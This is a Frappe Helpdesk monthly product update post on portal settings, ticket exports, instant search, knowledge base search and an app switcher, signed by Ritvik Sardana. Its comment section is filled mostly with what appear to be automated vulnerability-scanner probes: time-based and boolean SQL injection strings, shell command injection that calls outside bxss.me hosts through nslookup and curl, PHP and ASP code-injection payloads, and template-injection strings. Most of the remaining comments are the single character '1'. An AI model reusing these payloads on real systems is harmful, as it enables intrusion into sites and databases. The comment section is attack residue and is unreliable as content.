Here are all the updates we've made to Helpdesk in the past month. The focus was on removing friction by making the agent and customer portals more robust and minimizing the need for admins to use the desk.
Streamlined settings management
We're moving one step closer to making Helpdesk portal-first. Admins and system managers can now manage your support portal more easily. Instead of having to go back to the desk, you can add or update your email account directly from the new Settings Modal. Plus, you can now customize your Helpdesk even more by updating your brand logo and favicon right from the same place. Just head to the top left corner to access the settings.
Simplified ticket exports
We’ve made exporting tickets a lot simpler. Instead of going to the Data Export tool on the desk, agents can now export tickets directly from the Helpdesk interface. Just choose the tickets you want to export and download them in CSV or Excel format. This update cuts out unnecessary steps, so you can stay focused on what’s important.
Quick navigation with instant search
With Instant Search, navigating the Agent Portal is quick and easy. Just press "cmd + k" on a Mac or "ctrl + k" on Windows to open the Command Palette. Type in what you need, and you'll get instant access to tickets or knowledge base articles. No more digging through menus—find what you need in seconds and get back to work faster.
Enhanced article search for customers
We've improved the knowledge base article search so your customers can find answers faster and more accurately before raising tickets. As they type their query, Helpdesk suggests relevant articles and directs them to the information they need right away. This update makes it easier for customers to get the help they need without waiting for support.
Easily move between apps
When you have multiple apps installed on your site, navigating between them used to be a bit of a hassle, with the only option being to return to the desk. We’ve fixed that with our new app switcher, making it easy to move between apps directly. Users who have access to these apps can see them in the app switcher, so permissions are taken care of automatically.
Looking ahead
Since the past month, I (Ritvik Sardana) have started owning the product development of Helpdesk and in the coming months, I plan to focus on adding more functionalities to the portal view, including SLA management, assignment rules, and more. We're also enhancing the look and feel of the portal to improve your experience with Helpdesk—not just for your agents, but for your customers too.
If you haven't started your journey with Frappe Helpdesk yet, join our Telegram group for more discussions and click on the button below to start streamlining your support operations today!


·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
(select 198766*667891 from DUAL)
·
(select 198766*667891)
·
@@DGaoP
·
1����%2527%2522\'\"
·
1'"
·
1
·
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
·
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
·
1GaFKF1Ea')) OR 57=(SELECT 57 FROM PG_SLEEP(15))--
·
1Mx82c1R6') OR 117=(SELECT 117 FROM PG_SLEEP(15))--
·
12jUSsTdU' OR 889=(SELECT 889 FROM PG_SLEEP(15))--
·
1-1)) OR 309=(SELECT 309 FROM PG_SLEEP(15))--
·
1-1) OR 434=(SELECT 434 FROM PG_SLEEP(15))--
·
1-1 OR 136=(SELECT 136 FROM PG_SLEEP(15))--
·
1G891sMel'; waitfor delay '0:0:15' --
·
1-1 waitfor delay '0:0:15' --
·
1-1); waitfor delay '0:0:15' --
·
1-1; waitfor delay '0:0:15' --
·
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
·
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
·
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
·
1*if(now()=sysdate(),sleep(15),0)
·
-1" OR 5*5=26 or "oLx5wDj1"="
·
-1" OR 5*5=25 or "oLx5wDj1"="
·
-1' OR 5*5=26 or 'gBE2Slzl'='
·
-1' OR 5*5=25 or 'gBE2Slzl'='
·
-1" OR 5*5=26 --
·
-1" OR 5*5=25 --
·
-1' OR 5*5=26 --
·
-1' OR 5*5=25 --
·
-1 OR 5*5=26
·
-1 OR 5*5=25
·
-1 OR 5*5=26 --
·
-1 OR 5*5=25 --
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
&(nslookup${IFS}-q${IFS}cname${IFS}hitvbllplvrqr2dda4.bxss.me||curl${IFS}hitvbllplvrqr2dda4.bxss.me)&'\"
0&(nslookup${IFS}-q${IFS}cname${IFS}hitvbllplvrqr2dda4.bxss.me||curl${IFS}hitvbllplvrqr2dda4.bxss.me)&'·
|(nslookup${IFS}-q${IFS}cname${IFS}hithomuuvkjps8fab0.bxss.me||curl${IFS}hithomuuvkjps8fab0.bxss.me)
·
1
·
1
·
;(nslookup -q=cname hitplyoelrqmw05255.bxss.me||curl hitplyoelrqmw05255.bxss.me)|(nslookup -q=cname hitplyoelrqmw05255.bxss.me||curl hitplyoelrqmw05255.bxss.me)&(nslookup -q=cname hitplyoelrqmw05255.bxss.me||curl hitplyoelrqmw05255.bxss.me)
·
1
·
(nslookup -q=cname hitzgvtctpjebfd823.bxss.me||curl hitzgvtctpjebfd823.bxss.me)·
1
·
|(nslookup -q=cname hitqiabvrnsekdbaaf.bxss.me||curl hitqiabvrnsekdbaaf.bxss.me)
·
1
·
&(nslookup -q=cname hitgdxgvpupse4c3ee.bxss.me||curl hitgdxgvpupse4c3ee.bxss.me)&'\"
0&(nslookup -q=cname hitgdxgvpupse4c3ee.bxss.me||curl hitgdxgvpupse4c3ee.bxss.me)&'·
1
·
&nslookup -q=cname hitsymnfehugd08a2b.bxss.me&'\"
0&nslookup -q=cname hitsymnfehugd08a2b.bxss.me&'·
$(nslookup -q=cname hitrbuuzjlgmybddfd.bxss.me||curl hitrbuuzjlgmybddfd.bxss.me)
·
(nslookup -q=cname hittywnsfpvrz64f2f.bxss.me||curl hittywnsfpvrz64f2f.bxss.me))
·
expr 9000626584 - 954102
·
|echo xzvxib$()\ gkfjni\nz^xyu||a #' |echo xzvxib$()\ gkfjni\nz^xyu||a #|" |echo xzvxib$()\ gkfjni\nz^xyu||a #
·
1
·
&echo sgucyg$()\ isyztf\nz^xyu||a #' &echo sgucyg$()\ isyztf\nz^xyu||a #|" &echo sgucyg$()\ isyztf\nz^xyu||a #
·
echo viruwj$()\ qyxrmx\nz^xyu||a #' &echo viruwj$()\ qyxrmx\nz^xyu||a #|" &echo viruwj$()\ qyxrmx\nz^xyu||a #
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
'.print(md5(31337)).'
·
1
·
${@print(md5(31337))}\
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
${@print(md5(31337))}
·
1
·
1
·
";print(md5(31337));$a="
·
1
·
1
·
';print(md5(31337));$a='
·
1
·
1
·
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
·
1
·
1
·
1'
·
"+response.write(9911590*9199063)+"
·
1
·
1
·
gethostbyname(lc('hiteh'.'sxbfmdnr36602.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(73).chr(99).chr(85)
·
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
·
1
·
1
·
".gethostbyname(lc("hittj"."jyzjqwhsa8749.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(81).chr(105).chr(82)."
·
1
·
1
·
1
·
1
·
dfb__${98991*97996}__::.x
·
'+response.write(9911590*9199063)+'
·
1
·
1
·
'.gethostbyname(lc('hitnd'.'tcsjnuube0e4d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(86).chr(110).chr(82).'
·
dfb[[${98991*97996}]]xca
·
response.write(9911590*9199063)
·
1
·
1
·
1
·
1
·
1
·
1
·
1
·
dfb{{98991*97996}}xca
·
Comment
·
1
·
1
·
1
·
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
·
1
·
1
·
'"
·
1
·
1
·
1
·
Comment
·
1
·
1
·
1
·
1
·
1
·
1
·
<%={{={@{#{${dfb}}%>